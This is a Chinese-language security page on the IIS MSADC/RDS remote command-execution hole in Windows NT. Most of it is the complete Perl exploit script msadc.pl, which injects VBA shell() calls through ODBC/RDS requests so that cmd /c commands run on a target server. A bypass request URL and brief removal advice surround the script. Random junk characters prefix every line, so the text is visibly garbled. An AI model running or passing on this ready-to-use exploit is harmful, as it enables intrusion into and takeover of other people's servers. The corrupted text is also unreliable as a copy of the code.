IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
FS6I?q#tQ W4rh7e4 涉及程序：
Nq ZR*/BOz Microsoft NT server
oU)HxV XO"BEj<x 描述：
g?e-D.p SF 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
S3Sn _zqG Kz9h{ Tu4 详细：
@EGUQ|WL^ 如果你没有时间读详细内容的话，就删除:
LO;Z3Q>#0 c:\Program Files\Common Files\System\Msadc\msadcs.dll
RLUH[[ 有关的安全问题就没有了。
J7$JW3O ul ag$ ge 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
zHt}`>y& AGgL`sP 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
zK ir 关于利用ODBC远程漏洞的描述，请参看:
]tO9< G F O(O http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #)28ESj : t6.J 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/r mm@ http://www.microsoft.com/security/bulletins/MS99-025faq.asp \I~9%QJ> TDj jaO 这里不再论述。
?G$X
4KY6` tCbn B 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
6l?\ iE D>I|(B!.p8 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>Wr 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
DX4"}w he1OLk
*Q:EICDE7 #将下面这段保存为txt文件，然后: "perl -x 文件名"
U \`H0' O{44GB3 #!perl
q
NE( @at #
2a[_^v $v # MSADC/RDS 'usage' (aka exploit) script
cT,5xp"a #
Odj4) # by rain.forest.puppy
Jz' 8|o;^ #
J3# # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
, K[}Bz # beta test and find errors!
6$"0!fl> AHtLkfr(r use Socket; use Getopt::Std;
A]CO
Ysc getopts("e:vd:h:XR", \%args);
qaN%&K9F8 pm~uWXqxr= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Tq=OYJq5U qra5&Fvb if (!defined $args{h} && !defined $args{R}) {
c!}f \ ]D print qq~
R'{BkC}. Usage: msadc.pl -h <host> { -d <delay> -X -v }
(vqI@fB';u -h <host> = host you want to scan (ip or domain)
~pj/_@S@x -d <seconds> = delay between calls, default 1 second
lhLE) B2a2 -X = dump Index Server path table, if available
4?F7% ^vr -v = verbose
y |E {] -e = external dictionary file for step 5
fxL0"Ry \IG"Te Or a -R will resume a command session
4'ymPPY Xv1mjHZCC ~; exit;}
JYU0&nZl4 =/]d\JSp $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
; \N${YIn if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
6Y (Vs> if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0(~,U!g[= if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
*1fZcw'C. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
Ib665H7w if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@ I$; tZn=[X~Vw@ if (!defined $args{R}){ $ret = &has_msadc;
y vz2eAXa die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
FtL{ f=
} I;5yk,o print "Please type the NT commandline you want to run (cmd /c assumed):\n"
><Z`) }f . "cmd /c ";
;p}X]e l} $in=<STDIN>; chomp $in;
0/Wo":R: $command="cmd /c " . $in ;
LV X01ox$ 4,pS C if (defined $args{R}) {&load; exit;}
7ZVW7%,zF X #!oG)or print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
47 _";g@X &try_btcustmr;
qf2;yRc& q[w.[] print "\nStep 2: Trying to make our own DSN...";
ntT~_Ba8;u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
gAWrn^2L5 Yh} F print "\nStep 3: Trying known DSNs...";
7JI&tlR4\c &known_dsn;
BXf.^s{H ^7l^ /GSO print "\nStep 4: Trying known .mdbs...";
&\ 0V*5tI &known_mdb;
[rt+KA M)oJ06`K if (defined $args{e}){
%7*Y@k-)o print "\nStep 5: Trying dictionary of DSN names...";
fm%1 vM$[J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Cyw
cJ u LX V, print "Sorry Charley...maybe next time?\n";
k TLA["<m exit;
!z.C}n5F }4n?k'_s? ##############################################################################
d\{#*{_A =_/,C sub sendraw { # ripped and modded from whisker
? <. U, sleep($delay); # it's a DoS on the server! At least on mine...
/:j9 #kj my ($pstr)=@_;
8v)PDO~D}A socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
uJP9J U
die("Socket problems\n");
-bHfo%"^TT if(connect(S,pack "SnA4x8",2,80,$target)){
%)K)h&m select(S); $|=1;
r ]cC4%in print $pstr; my @in=<S>;
LFx*_3a select(STDOUT); close(S);
JyBsOC3 return @in;
LBla Dw } else { die("Can't connect...\n"); }}
#iot.alNA '0!IF&p' ##############################################################################
jJmg9&^R {,|J?>{ sub make_header { # make the HTTP request
#!%\97ZR my $msadc=<<EOT
NI^[7.2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
@?GOO D_i User-Agent: ACTIVEDATA
(HUGgX"= Host: $ip
;-koMD!2F Content-Length: $clen
m j{ /' Connection: Keep-Alive
G1d!a6> v<`1z?dch ADCClientVersion:01.06
EQ j2:9f Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
W~1MeAI GoGo@5n(Z --!ADM!ROX!YOUR!WORLD!
i*JbFukG Content-Type: application/x-varg
=v$H8w Content-Length: $reqlen
^'|\8 '42P=vzo EOT
N2"4dVV; ; $msadc=~s/\n/\r\n/g;
YJO,"7+ return $msadc;}
b (,X3x* K_J o^BZ ##############################################################################
X j\SJ* o'3t(dyyH sub make_req { # make the RDS request
GA {Q6]B my ($switch, $p1, $p2)=@_;
J! @$lyH my $req=""; my $t1, $t2, $query, $dsn;
6c3+q+#J2 (BgO< if ($switch==1){ # this is the btcustmr.mdb query
%EuXL% B $query="Select * from Customers where City=" . make_shell();
od- 0wJN-m $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
a/.O, &3
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
eTc0u;{V )p MZ5|+X elsif ($switch==2){ # this is general make table query
"-N)TIzLX $query="create table AZZ (B int, C varchar(10))";
9's/~ T $dsn="$p1";}
w@P c7$EP 5@+8*Fdk elsif ($switch==3){ # this is general exploit table query
UN&b]vg $query="select * from AZZ where C=" . make_shell();
W`C&$v# $dsn="$p1";}
a$c7d~p$I ^ ,Bxq^'D elsif ($switch==4){ # attempt to hork file info from index server
&/7 AW(? $query="select path from scope()";
wR;_x x $dsn="Provider=MSIDXS;";}
]FLuiC 2'"$Y' elsif ($switch==5){ # bad query
4 "e7 43( $query="select";
lA39$oJ $dsn="$p1";}
3ySP *J5 ;6o p| $t1= make_unicode($query);
c7jft|4S $t2= make_unicode($dsn);
n8zh;vuJ $req = "\x02\x00\x03\x00";
ChLU(IPo6 $req.= "\x08\x00" . pack ("S1", length($t1));
V(3udB@K $req.= "\x00\x00" . $t1 ;
ku* |?uF $req.= "\x08\x00" . pack ("S1", length($t2));
= >6Z"L D( $req.= "\x00\x00" . $t2 ;
bID 'r}55 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
47"ERfP return $req;}
vm+EzmO,! BCya5!uy ##############################################################################
_Gy*" ;E '}c0:,5 sub make_shell { # this makes the shell() statement
t_YiF%}s&# return "'|shell(\"$command\")|'";}
%m a1LN[ XcA4EBRj
##############################################################################
@ :i>q$aF l }X3uy S sub make_unicode { # quick little function to convert to unicode
t-S GG{ my ($in)=@_; my $out;
+fzZ\ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
r+HJ_R,5A return $out;}
&X^~%\F:2 >L anuv)O ##############################################################################
`xkJ.,#I o kTG}>I sub rdo_success { # checks for RDO return success (this is kludge)
n<7#?X7 my (@in) = @_; my $base=content_start(@in);
M`umfw T if($in[$base]=~/multipart\/mixed/){
H7)(<6b,z return 1 if( $in[$base+10]=~/^\x09\x00/ );}
+MOUO$;fGt return 0;}
uJG^>B?`b LX
j Tqp' ##############################################################################
&hs)}uM&$ GZ@!jF>!u sub make_dsn { # this makes a DSN for us
knypSgk_ my @drives=("c","d","e","f");
+D1;_DU print "\nMaking DSN: ";
+bd/*^ foreach $drive (@drives) {
nF}]W14x print "$drive: ";
4 ;|&}Ij my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
Arz>
P@EQ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
ltHC+8 aZ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
udg;jR-^ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
iD@2_m) return 0 if $2 eq "404"; # not found/doesn't exist
Ssaf RK$ if($2 eq "200") {
W.o
W = < foreach $line (@results) {
@ky5X V return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
b/ ]C, P } return 0;}
FFH-Kw, CQ sVGn{x ##############################################################################
dvsOJj/b wmY6&^ ?uS sub verify_exists {
0_Etm83Wq6 my ($page)=@_;
dW!T.S my @results=sendraw("GET $page HTTP/1.0\n\n");
hW>@jT"t1C return $results[0];}
=bf-+gZD ~v9\4O ##############################################################################
a&ZH NK*~UePy sub try_btcustmr {
HI']{2p2}t my @drives=("c","d","e","f");
Qd]-i3^0 my @dirs=("winnt","winnt35","winnt351","win","windows");
Old5E& fYx$3a. foreach $dir (@dirs) {
m+DkO{8 F print "$dir -> "; # fun status so you can see progress
WJe foreach $drive (@drives) {
vyqlP;K print "$drive: "; # ditto
^l _W9s $reqlen=length( make_req(1,$drive,$dir) ) - 28;
61T"K $reqlenlen=length( "$reqlen" );
Y cO tPS% $clen= 206 + $reqlenlen + $reqlen;
)y.J2_lI8 |!I# T my @results=sendraw(make_header() . make_req(1,$drive,$dir));
^ fS~va if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
,_YCl09p( else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
LUKdu&M UX2`x9 ##############################################################################
sh}=#eb {:od=\*R sub odbc_error {
@?*26}qp my (@in)=@_; my $base;
D4n ~ 2] my $base = content_start(@in);
]Rnr>_>x; if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
Z'WoChjM $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:(A]Bm3 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
r N$_(%m_N $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rq}ew0&/
return $in[$base+4].$in[$base+5].$in[$base+6];}
_l}&| : print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
^N`ar9Db print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
tB}&-U|t[~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
$>5|TG
0i (EuHQ &<^9 ##############################################################################
wC <!,tB(8 XkuNLs4 sub verbose {
im%'S6_X4 my ($in)=@_;
B4[o nYU return if !$verbose;
-UPdgZ_Vxz print STDOUT "\n$in\n";}
OyZgg(iN x1$fkNu ##############################################################################
aQ]C`9k sqJ?dIBH sub save {
*'PG@S my ($p1, $p2, $p3, $p4)=@_;
E;D9 S open(OUT, ">rds.save") || print "Problem saving parameters...\n";
e][U ; print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
: B$
d close OUT;}
GJ
ZT~ Q F'N8 Kla ##############################################################################
? $pp% U $X"W' sub load {
id&; my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
[)# ,~L3 open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Z!~~6Sq @p=<IN>; close(IN);
CdatN$/* $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
&'c1"%*%8> $target= inet_aton($ip) || die("inet_aton problems");
~e ]83? print "Resuming to $ip ...";
m}Kn!21 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
5RI" g f if($p[1]==1) {
!95ZK.UT $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
vDv:3qN7( $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
a0CmCv2# my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
ArbfA~jXB if (rdo_success(@results)){print "Success!\n";}
DP &,jU6 else { print "failed\n"; verbose(odbc_error(@results));}}
FuLP{]Y+AM elsif ($p[1]==3){
9'\18_w if(run_query("$p[3]")){
: )cPc7$8 print "Success!\n";} else { print "failed\n"; }}
[$;6LFs } elsif ($p[1]==4){
pDCQ?VW if(run_query($drvst . "$p[3]")){
<i%.bfQ/- print "Success!\n"; } else { print "failed\n"; }}
+ Q}Y ?([ exit;}
x<~ pqq8] j2=jD G ##############################################################################
b,]h X *Jmy:C<> sub create_table {
P<
O [S my ($in)=@_;
o.k eM4OQ $reqlen=length( make_req(2,$in,"") ) - 28;
+/-#yfn!TR $reqlenlen=length( "$reqlen" );
q *mNVBy $clen= 206 + $reqlenlen + $reqlen;
:
JD% =w_ my @results=sendraw(make_header() . make_req(2,$in,""));
k)1K6ug return 1 if rdo_success(@results);
2j Oh ~-LU my $temp= odbc_error(@results); verbose($temp);
m/Q@ - return 1 if $temp=~/Table 'AZZ' already exists/;
AWi~qzTZ return 0;}
\=XAl >}\ t(/e~w ##############################################################################
r|{h7' ]xCJ3.9 sub known_dsn {
25::z9i # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
tl
(2=\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
KArR.o } "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
' _@Y "banner", "banners", "ads", "ADCDemo", "ADCTest");
5 nkx8JJ .]k+hc` foreach $dSn (@dsns) {
i"r&CS)sT print ".";
cX>
a>U next if (!is_access("DSN=$dSn"));
vjhd| if(create_table("DSN=$dSn")){
0V1)ou84' print "$dSn successful\n";
xw&[ 9}Y if(run_query("DSN=$dSn")){
_b&Mrd print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
J;Xh{3[vO print "Something's borked. Use verbose next time\n";}}} print "\n";}
*[wy-
fu cWA9 n}Z ##############################################################################
M-e!F+d{od ^}8(o sub is_access {
.a8N 5{` my ($in)=@_;
8 T):b2h $reqlen=length( make_req(5,$in,"") ) - 28;
F@& R"- $reqlenlen=length( "$reqlen" );
sbjAZzrX2i $clen= 206 + $reqlenlen + $reqlen;
( /a2#iW my @results=sendraw(make_header() . make_req(5,$in,""));
<IC=x(T my $temp= odbc_error(@results);
S1E =E5 verbose($temp); return 1 if ($temp=~/Microsoft Access/);
SsIy ;l return 0;}
1y2D]h /' {Uz @`QO3 ##############################################################################
9gZMfP C},;M @xV sub run_query {
w-C ~
Ik my ($in)=@_;
TUw^ KSa $reqlen=length( make_req(3,$in,"") ) - 28;
1` ^l8V( $reqlenlen=length( "$reqlen" );
a Eo!yea $clen= 206 + $reqlenlen + $reqlen;
o8-B Tq8 my @results=sendraw(make_header() . make_req(3,$in,""));
] QGYEjW return 1 if rdo_success(@results);
w4Qqo( my $temp= odbc_error(@results); verbose($temp);
j&6,%s-M`a return 0;}
GvF8S MO[x ' _lyoVP ##############################################################################
L'BDS* puF'w:I ( sub known_mdb {
&=Gz[1
L my @drives=("c","d","e","f","g");
>X cbNZV my @dirs=("winnt","winnt35","winnt351","win","windows");
CC0@RU my $dir, $drive, $mdb;
AON";&dLq- my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HgvgO\`] gbsRf&4h # this is sparse, because I don't know of many
@zL)R b%P$ my @sysmdbs=( "\\catroot\\icatalog.mdb",
!
@{rk p "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"w9LQ=mW "\\system32\\certmdb.mdb",
W=c7>s0> "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Nwr.mtvh : 3^b>(W. my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
11gl Fe "\\cfusion\\cfapps\\forums\\forums_.mdb",
%<lfe<;^t "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
[ R+zzl&Zw "\\cfusion\\cfapps\\security\\realm_.mdb",
}__g\?Yf "\\cfusion\\cfapps\\security\\data\\realm.mdb",
!r ZO~a0 "\\cfusion\\database\\cfexamples.mdb",
|R8=yO%( "\\cfusion\\database\\cfsnippets.mdb",
(~:k70V5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
*%l&'+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
C)~YWx@v "\\cfusion\\brighttiger\\database\\cleam.mdb",
x%23oPM "\\cfusion\\database\\smpolicy.mdb",
`zGK$,[% "\\cfusion\\database\cypress.mdb",
3 $ cDC8 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
=2] .G Gg "\\website\\cgi-win\\dbsample.mdb",
dB +x,+%u+ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?VrZM "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
r5jiB L~ ); #these are just
>!s = f foreach $drive (@drives) {
$/90('D foreach $dir (@dirs){
f #_ XR foreach $mdb (@sysmdbs) {
kT @RA} print ".";
,DK |jf if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
;Z HKTOoK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
/=w9bUj5v if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
9_h 3<3e print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
5!$m3j_,]? } else { print "Something's borked. Use verbose next time\n"; }}}}}
O{ zY (`[ C7[ge& foreach $drive (@drives) {
jCDZ$W89 foreach $mdb (@mdbs) {
MH[Zw $ print ".";
;>QED if(create_table($drv . $drive . $dir . $mdb)){
| :$D[= print "\n" . $drive . $dir . $mdb . " successful\n";
iDt^4=` if(run_query($drv . $drive . $dir . $mdb)){
vDZhoD=VR print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
R$' 4 d } else { print "Something's borked. Use verbose next time\n"; }}}}
m^rgzx19? }
Y:[W wX| Ja>UcE29 ##############################################################################
cN0|! nm* 1|bu 0d\] sub hork_idx {
eZ5UR01 4 print "\nAttempting to dump Index Server tables...\n";
"~Twx]Z print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
jY
EB`& $reqlen=length( make_req(4,"","") ) - 28;
DnvJx!#R $reqlenlen=length( "$reqlen" );
DE|r~TQ $clen= 206 + $reqlenlen + $reqlen;
aDFu!PLB{) my @results=sendraw2(make_header() . make_req(4,"",""));
3t22KY[` if (rdo_success(@results)){
|7n&I` # my $max=@results; my $c; my %d;
2
*IF for($c=19; $c<$max; $c++){
=]&?(Gq $results[$c]=~s/\x00//g;
LI_>fuv"8 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
^'.=&@i- $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
K-IXAdx $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
NsJ t=~ $d{"$1$2"}="";}
+A8S 6bA[= foreach $c (keys %d){ print "$c\n"; }
G?\o_)IJ } else {print "Index server doesn't seem to be installed.\n"; }}
A> +5~u 5FqUFzVqsl ##############################################################################
n>>hfxv(O! Hf+A5 2lrf sub dsn_dict {
'j#oMA{0 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
}#z E`IT while(<IN>){
nQK@Uy5Yr $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
WI O V next if (!is_access("DSN=$dSn"));
hJ4==ILx if(create_table("DSN=$dSn")){
2#_9x7g+ print "$dSn successful\n";
PN/2EmwtC if(run_query("DSN=$dSn")){
F`8A!|cIy print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
RyD2LAf)J print "Something's borked. Use verbose next time\n";}}}
G+4a%?J H print "\n"; close(IN);}
0K>rc1dy 9F0B-aZ ##############################################################################
n4YEu\* ^T'+dGU` sub sendraw2 { # ripped and modded from whisker
M_MiY|%V/K sleep($delay); # it's a DoS on the server! At least on mine...
mm Y~V:,Kd my ($pstr)=@_;
Ji Z9ly( G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;nLQ? eS\ die("Socket problems\n");
Z] $yuM if(connect(S,pack "SnA4x8",2,80,$target)){
!? ?Cxs' print "Connected. Getting data";
lnbw-IE! open(OUT,">raw.out"); my @in;
:d/Z&LXD select(S); $|=1; print $pstr;
qA9*t while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
5{ #9b^ close(OUT); select(STDOUT); close(S); return @in;
Q !5Tw } else { die("Can't connect...\n"); }}
dDW],d}B; 7qon:]b4 ##############################################################################
U"-mLv"|
&N0W! sub content_start { # this will take in the server headers
Mp7 5 L5 my (@in)=@_; my $c;
25ul,t_Du for ($c=1;$c<500;$c++) {
s .^9;%@$J if($in[$c] =~/^\x0d\x0a/){
lO%Z4V_ Mj if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
n$y1 k D else { return $c+1; }}}
BdUhFN* return -1;} # it should never get here actually
5yp ~PhHf ; 5my(J*b ##############################################################################
E1 * \)q *[
Wh9 ,H sub funky {
OI %v>ns my (@in)=@_; my $error=odbc_error(@in);
@U;-5KYYi if($error=~/ADO could not find the specified provider/){
Y~=5umNSX print "\nServer returned an ADO miscofiguration message\nAborting.\n";
h1fJ`WT6, exit;}
M(Jf&h4b if($error=~/A Handler is required/){
wX#\\Jgi print "\nServer has custom handler filters (they most likely are patched)\n";
U,iTURd exit;}
#` z!f0
P if($error=~/specified Handler has denied Access/){
oLruYS aD print "\nServer has custom handler filters (they most likely are patched)\n";
dp)lHBV exit;}}
)~d2`1zGS ^! {oyw
##############################################################################
9<7Q { $0LlaN@e sub has_msadc {
a9QaF s" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
<n }=zu my $base=content_start(@results);
":]O3 D{r return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
rorzxp{ return 0;}
HH^ {,53% _?kf9 . ########################
Tj0eW(<!s Zu%_kpW 2_r}4)z 解决方案：
>ID 3oi 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
b% $S6. 2、移除web 目录: /msadc
